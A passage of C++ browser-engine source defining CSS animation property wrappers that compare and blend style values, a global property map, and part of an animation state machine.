template <typename T>
class PropertyWrapper : public PropertyWrapperGetter<T> {
public:
PropertyWrapper(int prop, T (RenderStyle::*getter)() const, void (RenderStyle::*setter)(T))
: PropertyWrapperGetter<T>(prop, getter)
, m_setter(setter)
{
}
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
(dst->*m_setter)(blendFunc(anim, (a->*PropertyWrapperGetter<T>::m_getter)(), (b->*PropertyWrapperGetter<T>::m_getter)(), progress));
}
protected:
void (RenderStyle::*m_setter)(T);
};
#if USE(ACCELERATED_COMPOSITING)
class PropertyWrapperAcceleratedOpacity : public PropertyWrapper<float> {
public:
PropertyWrapperAcceleratedOpacity()
: PropertyWrapper<float>(CSSPropertyOpacity, &RenderStyle::opacity, &RenderStyle::setOpacity)
{
}
virtual bool animationIsAccelerated() const { return true; }
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
float fromOpacity = a->opacity();
// This makes sure we put the object being animated into a RenderLayer during the animation
dst->setOpacity(blendFunc(anim, (fromOpacity == 1) ? 0.999999f : fromOpacity, b->opacity(), progress));
}
};
class PropertyWrapperAcceleratedTransform : public PropertyWrapper<const TransformOperations&> {
public:
PropertyWrapperAcceleratedTransform()
: PropertyWrapper<const TransformOperations&>(CSSPropertyWebkitTransform, &RenderStyle::transform, &RenderStyle::setTransform)
{
}
virtual bool animationIsAccelerated() const { return true; }
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
dst->setTransform(blendFunc(anim, a->transform(), b->transform(), progress));
}
};
#endif // USE(ACCELERATED_COMPOSITING)
class PropertyWrapperShadow : public PropertyWrapperGetter<ShadowData*> {
public:
PropertyWrapperShadow(int prop, ShadowData* (RenderStyle::*getter)() const, void (RenderStyle::*setter)(ShadowData*, bool))
: PropertyWrapperGetter<ShadowData*>(prop, getter)
, m_setter(setter)
{
}
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const
{
ShadowData* shadowA = (a->*m_getter)();
ShadowData* shadowB = (b->*m_getter)();
while (true) {
if (!shadowA && !shadowB) // end of both lists
return true;
if (!shadowA || !shadowB) // end of just one of the lists
return false;
if (*shadowA != *shadowB)
return false;
shadowA = shadowA->next;
shadowB = shadowB->next;
}
return true;
}
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
ShadowData* shadowA = (a->*m_getter)();
ShadowData* shadowB = (b->*m_getter)();
ShadowData defaultShadowData(0, 0, 0, 0, Normal, Color::transparent);
ShadowData* newShadowData = 0;
while (shadowA || shadowB) {
ShadowData* srcShadow = shadowA ? shadowA : &defaultShadowData;
ShadowData* dstShadow = shadowB ? shadowB : &defaultShadowData;
if (!newShadowData)
newShadowData = blendFunc(anim, srcShadow, dstShadow, progress);
else
newShadowData->next = blendFunc(anim, srcShadow, dstShadow, progress);
shadowA = shadowA ? shadowA->next : 0;
shadowB = shadowB ? shadowB->next : 0;
}
(dst->*m_setter)(newShadowData, false);
}
private:
void (RenderStyle::*m_setter)(ShadowData*, bool);
};
class PropertyWrapperMaybeInvalidColor : public PropertyWrapperBase {
public:
PropertyWrapperMaybeInvalidColor(int prop, const Color& (RenderStyle::*getter)() const, void (RenderStyle::*setter)(const Color&))
: PropertyWrapperBase(prop)
, m_getter(getter)
, m_setter(setter)
{
}
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const
{
Color fromColor = (a->*m_getter)();
Color toColor = (b->*m_getter)();
if (!fromColor.isValid() && !toColor.isValid())
return true;
if (!fromColor.isValid())
fromColor = a->color();
if (!toColor.isValid())
toColor = b->color();
return fromColor == toColor;
}
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
Color fromColor = (a->*m_getter)();
Color toColor = (b->*m_getter)();
if (!fromColor.isValid() && !toColor.isValid())
return;
if (!fromColor.isValid())
fromColor = a->color();
if (!toColor.isValid())
toColor = b->color();
(dst->*m_setter)(blendFunc(anim, fromColor, toColor, progress));
}
private:
const Color& (RenderStyle::*m_getter)() const;
void (RenderStyle::*m_setter)(const Color&);
};
// Wrapper base class for an animatable property in a FillLayer
class FillLayerPropertyWrapperBase {
public:
FillLayerPropertyWrapperBase()
{
}
virtual ~FillLayerPropertyWrapperBase() { }
virtual bool equals(const FillLayer* a, const FillLayer* b) const = 0;
virtual void blend(const AnimationBase* anim, FillLayer* dst, const FillLayer* a, const FillLayer* b, double progress) const = 0;
};
template <typename T>
class FillLayerPropertyWrapperGetter : public FillLayerPropertyWrapperBase, public Noncopyable {
public:
FillLayerPropertyWrapperGetter(T (FillLayer::*getter)() const)
: m_getter(getter)
{
}
virtual bool equals(const FillLayer* a, const FillLayer* b) const
{
// If the style pointers are the same, don't bother doing the test.
// If either is null, return false. If both are null, return true.
if ((!a && !b) || a == b)
return true;
if (!a || !b)
return false;
return (a->*m_getter)() == (b->*m_getter)();
}
protected:
T (FillLayer::*m_getter)() const;
};
template <typename T>
class FillLayerPropertyWrapper : public FillLayerPropertyWrapperGetter<T> {
public:
FillLayerPropertyWrapper(T (FillLayer::*getter)() const, void (FillLayer::*setter)(T))
: FillLayerPropertyWrapperGetter<T>(getter)
, m_setter(setter)
{
}
virtual void blend(const AnimationBase* anim, FillLayer* dst, const FillLayer* a, const FillLayer* b, double progress) const
{
(dst->*m_setter)(blendFunc(anim, (a->*FillLayerPropertyWrapperGetter<T>::m_getter)(), (b->*FillLayerPropertyWrapperGetter<T>::m_getter)(), progress));
}
protected:
void (FillLayer::*m_setter)(T);
};
class FillLayersPropertyWrapper : public PropertyWrapperBase {
public:
typedef const FillLayer* (RenderStyle::*LayersGetter)() const;
typedef FillLayer* (RenderStyle::*LayersAccessor)();
FillLayersPropertyWrapper(int prop, LayersGetter getter, LayersAccessor accessor)
: PropertyWrapperBase(prop)
, m_layersGetter(getter)
, m_layersAccessor(accessor)
{
switch (prop) {
case CSSPropertyBackgroundPositionX:
case CSSPropertyWebkitMaskPositionX:
m_fillLayerPropertyWrapper = new FillLayerPropertyWrapper<Length>(&FillLayer::xPosition, &FillLayer::setXPosition);
break;
case CSSPropertyBackgroundPositionY:
case CSSPropertyWebkitMaskPositionY:
m_fillLayerPropertyWrapper = new FillLayerPropertyWrapper<Length>(&FillLayer::yPosition, &FillLayer::setYPosition);
break;
case CSSPropertyBackgroundSize:
case CSSPropertyWebkitBackgroundSize:
case CSSPropertyWebkitMaskSize:
m_fillLayerPropertyWrapper = new FillLayerPropertyWrapper<LengthSize>(&FillLayer::sizeLength, &FillLayer::setSizeLength);
break;
}
}
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const
{
const FillLayer* fromLayer = (a->*m_layersGetter)();
const FillLayer* toLayer = (b->*m_layersGetter)();
while (fromLayer && toLayer) {
if (!m_fillLayerPropertyWrapper->equals(fromLayer, toLayer))
return false;
fromLayer = fromLayer->next();
toLayer = toLayer->next();
}
return true;
}
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
const FillLayer* aLayer = (a->*m_layersGetter)();
const FillLayer* bLayer = (b->*m_layersGetter)();
FillLayer* dstLayer = (dst->*m_layersAccessor)();
while (aLayer && bLayer && dstLayer) {
m_fillLayerPropertyWrapper->blend(anim, dstLayer, aLayer, bLayer, progress);
aLayer = aLayer->next();
bLayer = bLayer->next();
dstLayer = dstLayer->next();
}
}
private:
FillLayerPropertyWrapperBase* m_fillLayerPropertyWrapper;
LayersGetter m_layersGetter;
LayersAccessor m_layersAccessor;
};
class ShorthandPropertyWrapper : public PropertyWrapperBase {
public:
ShorthandPropertyWrapper(int property, const CSSPropertyLonghand& longhand)
: PropertyWrapperBase(property)
{
for (unsigned i = 0; i < longhand.length(); ++i) {
PropertyWrapperBase* wrapper = wrapperForProperty(longhand.properties()[i]);
if (wrapper)
m_propertyWrappers.append(wrapper);
}
}
virtual bool isShorthandWrapper() const { return true; }
virtual bool equals(const RenderStyle* a, const RenderStyle* b) const
{
Vector<PropertyWrapperBase*>::const_iterator end = m_propertyWrappers.end();
for (Vector<PropertyWrapperBase*>::const_iterator it = m_propertyWrappers.begin(); it != end; ++it) {
if (!(*it)->equals(a, b))
return false;
}
return true;
}
virtual void blend(const AnimationBase* anim, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress) const
{
Vector<PropertyWrapperBase*>::const_iterator end = m_propertyWrappers.end();
for (Vector<PropertyWrapperBase*>::const_iterator it = m_propertyWrappers.begin(); it != end; ++it)
(*it)->blend(anim, dst, a, b, progress);
}
private:
Vector<PropertyWrapperBase*> m_propertyWrappers;
};
static Vector<PropertyWrapperBase*>* gPropertyWrappers = 0;
static int gPropertyWrapperMap[numCSSProperties];
static const int cInvalidPropertyWrapperIndex = -1;
static void ensurePropertyMap()
{
// FIXME: This data is never destroyed. Maybe we should ref count it and toss it when the last AnimationController is destroyed?
if (gPropertyWrappers == 0) {
gPropertyWrappers = new Vector<PropertyWrapperBase*>();
// build the list of property wrappers to do the comparisons and blends
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyLeft, &RenderStyle::left, &RenderStyle::setLeft));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyRight, &RenderStyle::right, &RenderStyle::setRight));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyTop, &RenderStyle::top, &RenderStyle::setTop));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyBottom, &RenderStyle::bottom, &RenderStyle::setBottom));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyWidth, &RenderStyle::width, &RenderStyle::setWidth));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMinWidth, &RenderStyle::minWidth, &RenderStyle::setMinWidth));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMaxWidth, &RenderStyle::maxWidth, &RenderStyle::setMaxWidth));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyHeight, &RenderStyle::height, &RenderStyle::setHeight));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMinHeight, &RenderStyle::minHeight, &RenderStyle::setMinHeight));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMaxHeight, &RenderStyle::maxHeight, &RenderStyle::setMaxHeight));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyBorderLeftWidth, &RenderStyle::borderLeftWidth, &RenderStyle::setBorderLeftWidth));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyBorderRightWidth, &RenderStyle::borderRightWidth, &RenderStyle::setBorderRightWidth));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyBorderTopWidth, &RenderStyle::borderTopWidth, &RenderStyle::setBorderTopWidth));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyBorderBottomWidth, &RenderStyle::borderBottomWidth, &RenderStyle::setBorderBottomWidth));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMarginLeft, &RenderStyle::marginLeft, &RenderStyle::setMarginLeft));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMarginRight, &RenderStyle::marginRight, &RenderStyle::setMarginRight));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMarginTop, &RenderStyle::marginTop, &RenderStyle::setMarginTop));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyMarginBottom, &RenderStyle::marginBottom, &RenderStyle::setMarginBottom));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyPaddingLeft, &RenderStyle::paddingLeft, &RenderStyle::setPaddingLeft));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyPaddingRight, &RenderStyle::paddingRight, &RenderStyle::setPaddingRight));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyPaddingTop, &RenderStyle::paddingTop, &RenderStyle::setPaddingTop));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyPaddingBottom, &RenderStyle::paddingBottom, &RenderStyle::setPaddingBottom));
gPropertyWrappers->append(new PropertyWrapper<const Color&>(CSSPropertyColor, &RenderStyle::color, &RenderStyle::setColor));
gPropertyWrappers->append(new PropertyWrapper<const Color&>(CSSPropertyBackgroundColor, &RenderStyle::backgroundColor, &RenderStyle::setBackgroundColor));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyBackgroundPositionX, &RenderStyle::backgroundLayers, &RenderStyle::accessBackgroundLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyBackgroundPositionY, &RenderStyle::backgroundLayers, &RenderStyle::accessBackgroundLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyBackgroundSize, &RenderStyle::backgroundLayers, &RenderStyle::accessBackgroundLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyWebkitBackgroundSize, &RenderStyle::backgroundLayers, &RenderStyle::accessBackgroundLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyWebkitMaskPositionX, &RenderStyle::maskLayers, &RenderStyle::accessMaskLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyWebkitMaskPositionY, &RenderStyle::maskLayers, &RenderStyle::accessMaskLayers));
gPropertyWrappers->append(new FillLayersPropertyWrapper(CSSPropertyWebkitMaskSize, &RenderStyle::maskLayers, &RenderStyle::accessMaskLayers));
gPropertyWrappers->append(new PropertyWrapper<int>(CSSPropertyFontSize, &RenderStyle::fontSize, &RenderStyle::setBlendedFontSize));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyWebkitColumnRuleWidth, &RenderStyle::columnRuleWidth, &RenderStyle::setColumnRuleWidth));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyWebkitColumnGap, &RenderStyle::columnGap, &RenderStyle::setColumnGap));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyWebkitColumnCount, &RenderStyle::columnCount, &RenderStyle::setColumnCount));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyWebkitColumnWidth, &RenderStyle::columnWidth, &RenderStyle::setColumnWidth));
gPropertyWrappers->append(new PropertyWrapper<short>(CSSPropertyWebkitBorderHorizontalSpacing, &RenderStyle::horizontalBorderSpacing, &RenderStyle::setHorizontalBorderSpacing));
gPropertyWrappers->append(new PropertyWrapper<short>(CSSPropertyWebkitBorderVerticalSpacing, &RenderStyle::verticalBorderSpacing, &RenderStyle::setVerticalBorderSpacing));
gPropertyWrappers->append(new PropertyWrapper<int>(CSSPropertyZIndex, &RenderStyle::zIndex, &RenderStyle::setZIndex));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyLineHeight, &RenderStyle::lineHeight, &RenderStyle::setLineHeight));
gPropertyWrappers->append(new PropertyWrapper<int>(CSSPropertyOutlineOffset, &RenderStyle::outlineOffset, &RenderStyle::setOutlineOffset));
gPropertyWrappers->append(new PropertyWrapper<unsigned short>(CSSPropertyOutlineWidth, &RenderStyle::outlineWidth, &RenderStyle::setOutlineWidth));
gPropertyWrappers->append(new PropertyWrapper<int>(CSSPropertyLetterSpacing, &RenderStyle::letterSpacing, &RenderStyle::setLetterSpacing));
gPropertyWrappers->append(new PropertyWrapper<int>(CSSPropertyWordSpacing, &RenderStyle::wordSpacing, &RenderStyle::setWordSpacing));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyTextIndent, &RenderStyle::textIndent, &RenderStyle::setTextIndent));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyWebkitPerspective, &RenderStyle::perspective, &RenderStyle::setPerspective));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyWebkitPerspectiveOriginX, &RenderStyle::perspectiveOriginX, &RenderStyle::setPerspectiveOriginX));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyWebkitPerspectiveOriginY, &RenderStyle::perspectiveOriginY, &RenderStyle::setPerspectiveOriginY));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyWebkitTransformOriginX, &RenderStyle::transformOriginX, &RenderStyle::setTransformOriginX));
gPropertyWrappers->append(new PropertyWrapper<Length>(CSSPropertyWebkitTransformOriginY, &RenderStyle::transformOriginY, &RenderStyle::setTransformOriginY));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyWebkitTransformOriginZ, &RenderStyle::transformOriginZ, &RenderStyle::setTransformOriginZ));
gPropertyWrappers->append(new PropertyWrapper<const IntSize&>(CSSPropertyBorderTopLeftRadius, &RenderStyle::borderTopLeftRadius, &RenderStyle::setBorderTopLeftRadius));
gPropertyWrappers->append(new PropertyWrapper<const IntSize&>(CSSPropertyBorderTopRightRadius, &RenderStyle::borderTopRightRadius, &RenderStyle::setBorderTopRightRadius));
gPropertyWrappers->append(new PropertyWrapper<const IntSize&>(CSSPropertyBorderBottomLeftRadius, &RenderStyle::borderBottomLeftRadius, &RenderStyle::setBorderBottomLeftRadius));
gPropertyWrappers->append(new PropertyWrapper<const IntSize&>(CSSPropertyBorderBottomRightRadius, &RenderStyle::borderBottomRightRadius, &RenderStyle::setBorderBottomRightRadius));
gPropertyWrappers->append(new PropertyWrapper<EVisibility>(CSSPropertyVisibility, &RenderStyle::visibility, &RenderStyle::setVisibility));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyZoom, &RenderStyle::zoom, &RenderStyle::setZoom));
#if USE(ACCELERATED_COMPOSITING)
gPropertyWrappers->append(new PropertyWrapperAcceleratedOpacity());
gPropertyWrappers->append(new PropertyWrapperAcceleratedTransform());
#else
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyOpacity, &RenderStyle::opacity, &RenderStyle::setOpacity));
gPropertyWrappers->append(new PropertyWrapper<const TransformOperations&>(CSSPropertyWebkitTransform, &RenderStyle::transform, &RenderStyle::setTransform));
#endif
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyWebkitColumnRuleColor, &RenderStyle::columnRuleColor, &RenderStyle::setColumnRuleColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyWebkitTextStrokeColor, &RenderStyle::textStrokeColor, &RenderStyle::setTextStrokeColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyWebkitTextFillColor, &RenderStyle::textFillColor, &RenderStyle::setTextFillColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyBorderLeftColor, &RenderStyle::borderLeftColor, &RenderStyle::setBorderLeftColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyBorderRightColor, &RenderStyle::borderRightColor, &RenderStyle::setBorderRightColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyBorderTopColor, &RenderStyle::borderTopColor, &RenderStyle::setBorderTopColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyBorderBottomColor, &RenderStyle::borderBottomColor, &RenderStyle::setBorderBottomColor));
gPropertyWrappers->append(new PropertyWrapperMaybeInvalidColor(CSSPropertyOutlineColor, &RenderStyle::outlineColor, &RenderStyle::setOutlineColor));
// These are for shadows
gPropertyWrappers->append(new PropertyWrapperShadow(CSSPropertyWebkitBoxShadow, &RenderStyle::boxShadow, &RenderStyle::setBoxShadow));
gPropertyWrappers->append(new PropertyWrapperShadow(CSSPropertyTextShadow, &RenderStyle::textShadow, &RenderStyle::setTextShadow));
#if ENABLE(SVG)
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyFillOpacity, &RenderStyle::fillOpacity, &RenderStyle::setFillOpacity));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyFloodOpacity, &RenderStyle::floodOpacity, &RenderStyle::setFloodOpacity));
gPropertyWrappers->append(new PropertyWrapper<float>(CSSPropertyStrokeOpacity, &RenderStyle::strokeOpacity, &RenderStyle::setStrokeOpacity));
#endif
// TODO:
//
// CSSPropertyVerticalAlign
//
// Compound properties that have components that should be animatable:
//
// CSSPropertyWebkitColumns
// CSSPropertyWebkitBoxReflect
// Make sure unused slots have a value
for (unsigned int i = 0; i < static_cast<unsigned int>(numCSSProperties); ++i)
gPropertyWrapperMap[i] = cInvalidPropertyWrapperIndex;
// First we put the non-shorthand property wrappers into the map, so the shorthand-building
// code can find them.
size_t n = gPropertyWrappers->size();
for (unsigned int i = 0; i < n; ++i) {
ASSERT((*gPropertyWrappers)[i]->property() - firstCSSProperty < numCSSProperties);
gPropertyWrapperMap[(*gPropertyWrappers)[i]->property() - firstCSSProperty] = i;
}
// Now add the shorthand wrappers.
addShorthandProperties();
}
}
static void addPropertyWrapper(int propertyID, PropertyWrapperBase* wrapper)
{
int propIndex = propertyID - firstCSSProperty;
ASSERT(gPropertyWrapperMap[propIndex] == cInvalidPropertyWrapperIndex);
unsigned wrapperIndex = gPropertyWrappers->size();
gPropertyWrappers->append(wrapper);
gPropertyWrapperMap[propIndex] = wrapperIndex;
}
static void addShorthandProperties()
{
static const int animatableShorthandProperties[] = {
CSSPropertyBackground, // for background-color, background-position
CSSPropertyBackgroundPosition,
CSSPropertyWebkitMask, // for mask-position
CSSPropertyWebkitMaskPosition,
CSSPropertyBorderTop, CSSPropertyBorderRight, CSSPropertyBorderBottom, CSSPropertyBorderLeft,
CSSPropertyBorderColor,
CSSPropertyBorderWidth,
CSSPropertyBorder,
CSSPropertyBorderSpacing,
CSSPropertyMargin,
CSSPropertyOutline,
CSSPropertyPadding,
CSSPropertyWebkitTextStroke,
CSSPropertyWebkitColumnRule,
CSSPropertyWebkitBorderRadius,
CSSPropertyWebkitTransformOrigin
};
for (unsigned i = 0; i < sizeof(animatableShorthandProperties) / sizeof(animatableShorthandProperties[0]); ++i) {
int propertyID = animatableShorthandProperties[i];
CSSPropertyLonghand longhand = longhandForProperty(propertyID);
if (longhand.length() > 0)
addPropertyWrapper(propertyID, new ShorthandPropertyWrapper(propertyID, longhand));
}
// 'font' is not in the shorthand map.
static const int animatableFontProperties[] = {
CSSPropertyFontSize,
CSSPropertyFontWeight
};
CSSPropertyLonghand fontLonghand(animatableFontProperties, sizeof(animatableFontProperties) / sizeof(animatableFontProperties[0]));
addPropertyWrapper(CSSPropertyFont, new ShorthandPropertyWrapper(CSSPropertyFont, fontLonghand));
}
static PropertyWrapperBase* wrapperForProperty(int propertyID)
{
int propIndex = propertyID - firstCSSProperty;
if (propIndex >= 0 && propIndex < numCSSProperties) {
int wrapperIndex = gPropertyWrapperMap[propIndex];
if (wrapperIndex >= 0)
return (*gPropertyWrappers)[wrapperIndex];
}
return 0;
}
AnimationBase::AnimationBase(const Animation* transition, RenderObject* renderer, CompositeAnimation* compAnim)
: m_animState(AnimationStateNew)
, m_isAnimating(false)
, m_startTime(0)
, m_pauseTime(-1)
, m_requestedStartTime(0)
, m_object(renderer)
, m_animation(const_cast<Animation*>(transition))
, m_compAnim(compAnim)
, m_fallbackAnimating(false)
, m_transformFunctionListValid(false)
, m_nextIterationDuration(-1)
, m_next(0)
{
// Compute the total duration
m_totalDuration = -1;
if (m_animation->iterationCount() > 0)
m_totalDuration = m_animation->duration() * m_animation->iterationCount();
}
AnimationBase::~AnimationBase()
{
m_compAnim->animationController()->removeFromStyleAvailableWaitList(this);
m_compAnim->animationController()->removeFromStartTimeResponseWaitList(this);
}
bool AnimationBase::propertiesEqual(int prop, const RenderStyle* a, const RenderStyle* b)
{
ensurePropertyMap();
if (prop == cAnimateAll) {
size_t n = gPropertyWrappers->size();
for (unsigned int i = 0; i < n; ++i) {
PropertyWrapperBase* wrapper = (*gPropertyWrappers)[i];
// No point comparing shorthand wrappers for 'all'.
if (!wrapper->isShorthandWrapper() && !wrapper->equals(a, b))
return false;
}
} else {
PropertyWrapperBase* wrapper = wrapperForProperty(prop);
if (wrapper)
return wrapper->equals(a, b);
}
return true;
}
int AnimationBase::getPropertyAtIndex(int i, bool& isShorthand)
{
ensurePropertyMap();
if (i < 0 || i >= static_cast<int>(gPropertyWrappers->size()))
return CSSPropertyInvalid;
PropertyWrapperBase* wrapper = (*gPropertyWrappers)[i];
isShorthand = wrapper->isShorthandWrapper();
return wrapper->property();
}
int AnimationBase::getNumProperties()
{
ensurePropertyMap();
return gPropertyWrappers->size();
}
// Returns true if we need to start animation timers
bool AnimationBase::blendProperties(const AnimationBase* anim, int prop, RenderStyle* dst, const RenderStyle* a, const RenderStyle* b, double progress)
{
ASSERT(prop != cAnimateAll);
ensurePropertyMap();
PropertyWrapperBase* wrapper = wrapperForProperty(prop);
if (wrapper) {
wrapper->blend(anim, dst, a, b, progress);
#if USE(ACCELERATED_COMPOSITING)
return !wrapper->animationIsAccelerated() || anim->isFallbackAnimating();
#else
return true;
#endif
}
return false;
}
#if USE(ACCELERATED_COMPOSITING)
bool AnimationBase::animationOfPropertyIsAccelerated(int prop)
{
ensurePropertyMap();
PropertyWrapperBase* wrapper = wrapperForProperty(prop);
return wrapper ? wrapper->animationIsAccelerated() : false;
}
#endif
void AnimationBase::setNeedsStyleRecalc(Node* node)
{
ASSERT(!node || (node->document() && !node->document()->inPageCache()));
if (node)
node->setNeedsStyleRecalc(SyntheticStyleChange);
}
double AnimationBase::duration() const
{
return m_animation->duration();
}
bool AnimationBase::playStatePlaying() const
{
return m_animation->playState() == AnimPlayStatePlaying;
}
bool AnimationBase::animationsMatch(const Animation* anim) const
{
return m_animation->animationsMatch(anim);
}
void AnimationBase::updateStateMachine(AnimStateInput input, double param)
{
// If we get AnimationStateInputRestartAnimation then we force a new animation, regardless of state.
if (input == AnimationStateInputMakeNew) {
if (m_animState == AnimationStateStartWaitStyleAvailable)
m_compAnim->animationController()->removeFromStyleAvailableWaitList(this);
m_animState = AnimationStateNew;
m_startTime = 0;
m_pauseTime = -1;
m_requestedStartTime = 0;
m_nextIterationDuration = -1;
endAnimation();
return;
}
if (input == AnimationStateInputRestartAnimation) {
if (m_animState == AnimationStateStartWaitStyleAvailable)
m_compAnim->animationController()->removeFromStyleAvailableWaitList(this);
m_animState = AnimationStateNew;
m_startTime = 0;
m_pauseTime = -1;
m_requestedStartTime = 0;
m_nextIterationDuration = -1;
endAnimation();
if (!paused())
updateStateMachine(AnimationStateInputStartAnimation, -1);
return;
}
if (input == AnimationStateInputEndAnimation) {
if (m_animState == AnimationStateStartWaitStyleAvailable)
m_compAnim->animationController()->removeFromStyleAvailableWaitList(this);
m_animState = AnimationStateDone;
endAnimation();
return;
}
if (input == AnimationStateInputPauseOverride) {
if (m_animState == AnimationStateStartWaitResponse) {
// If we are in AnimationStateStartWaitResponse, the animation will get canceled before
// we get a response, so move to the next state.
endAnimation();
updateStateMachine(AnimationStateInputStartTimeSet, beginAnimationUpdateTime());
}
return;
}
if (input == AnimationStateInputResumeOverride) {
if (m_animState == AnimationStateLooping || m_animState == AnimationStateEnding) {
// Start the animation
startAnimation(beginAnimationUpdateTime() - m_startTime);
}
return;
}
// Execute state machine
switch (m_animState) {
case AnimationStateNew:
ASSERT(input == AnimationStateInputStartAnimation || input == AnimationStateInputPlayStateRunnning || input == AnimationStateInputPlayStatePaused);
if (input == AnimationStateInputStartAnimation || input == AnimationStateInputPlayStateRunnning) {
m_requestedStartTime = beginAnimationUpdateTime();
m_animState = AnimationStateStartWaitTimer;
}
break;
case AnimationStateStartWaitTimer:
ASSERT(input == AnimationStateInputStartTimerFired || input == AnimationStateInputPlayStatePaused);
if (input == AnimationStateInputStartTimerFired) {
ASSERT(param >= 0);
// Start timer has fired, tell the animation to start and wait for it to respond with start time
m_animState = AnimationStateStartWaitStyleAvailable;
m_compAnim->animationController()->addToStyleAvailableWaitList(this);
// Trigger a render so we can start the animation
if (m_object)
m_compAnim->animationController()->addNodeChangeToDispatch(m_object->node());
} else {
ASSERT(!paused());
// We're waiting for the start timer to fire and we got a pause. Cancel the timer, pause and wait
m_pauseTime = beginAnimationUpdateTime();
m_animState = AnimationStatePausedWaitTimer;
}
break;
case AnimationStateStartWaitStyleAvailable:
ASSERT(input == AnimationStateInputStyleAvailable || input == AnimationStateInputPlayStatePaused);
// Start timer has fired, tell the animation to start and wait for it to respond with start time
m_animState = AnimationStateStartWaitResponse;
overrideAnimations();
// Send start event, if needed
onAnimationStart(0); // The elapsedTime is always 0 here
// Start the animation
if (overridden()) {
// We won't try to start accelerated animations if we are overridden and
// just move on to the next state.
m_animState = AnimationStateStartWaitResponse;
m_fallbackAnimating = true;
updateStateMachine(AnimationStateInputStartTimeSet, beginAnimationUpdateTime());
}
else {
double timeOffset = 0;
// If the value for 'animation-delay' is negative then the animation appears to have started in the past.
if (m_animation->delay() < 0)
timeOffset = -m_animation->delay();
bool started = startAnimation(timeOffset);
m_compAnim->animationController()->addToStartTimeResponseWaitList(this, started);
m_fallbackAnimating = !started;
}
break;
case AnimationStateStartWaitResponse:
ASSERT(input == AnimationStateInputStartTimeSet || input == AnimationStateInputPlayStatePaused);
if (input == AnimationStateInputStartTimeSet) {
ASSERT(param >= 0);
// We have a start time, set it, unless the startTime is already set
if (m_startTime <= 0) {
m_startTime = param;
// If the value for 'animation-delay' is negative then the animation appears to have started in the past.
if (m_animation->delay() < 0)
m_startTime += m_animation->delay();
}
// Decide whether to go into looping or ending state
goIntoEndingOrLoopingState();
// Dispatch updateStyleIfNeeded so we can start the animation
if (m_object)
m_compAnim->animationController()->addNodeChangeToDispatch(m_object->node());
} else {
// We are pausing while waiting for a start response. Cancel the animation and wait. When
// we unpause, we will act as though the start timer just fired
m_pauseTime = -1;
pauseAnimation(beginAnimationUpdateTime() - m_startTime);
